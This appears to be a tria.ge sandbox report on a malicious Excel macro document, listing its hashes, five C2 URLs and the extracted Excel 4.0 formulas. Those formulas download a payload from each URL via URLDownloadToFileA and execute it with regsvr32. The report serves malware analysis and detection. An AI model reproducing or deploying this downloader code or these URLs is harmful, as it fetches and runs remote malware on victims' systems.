Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    f2d33475f18eaa8b3c257d90471d8ece0d41be846b23bd8d2e4342317d8e4d6d

  • Size

    69KB

  • MD5

    8a92981aa5c50c628b8d6257bd2c1adc

  • SHA1

    c0325151b9fd73d493997610f4883a37d8b95948

  • SHA256

    f2d33475f18eaa8b3c257d90471d8ece0d41be846b23bd8d2e4342317d8e4d6d

  • SHA512

    699e5adedd938cb864c62539e83d3587ee3ee63395fdabe607995e2b808536f107c4a7283a3f662408e812d951a32f14729dc8f8f8c891efbca4a632826f241d

  • SSDEEP

    1536:dp0b/XHTWhxndhjh/VwBpSZobSex7jB0FfuZibVyg:czWhxHjh88ZoH7juFuZiQg

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://vasilestudio.com/wp-admin/pZ1vbd5Z/

https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/

https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/

https://triclicks.net/wp-admin/bv/

https://thecanadianarab.com/wp-content/VJ/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vasilestudio.com/wp-admin/pZ1vbd5Z/","..\aua.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://triclicks.net/wp-admin/bv/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thecanadianarab.com/wp-content/VJ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aua.ocx") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • f2d33475f18eaa8b3c257d90471d8ece0d41be846b23bd8d2e4342317d8e4d6d
    .xlsm office2007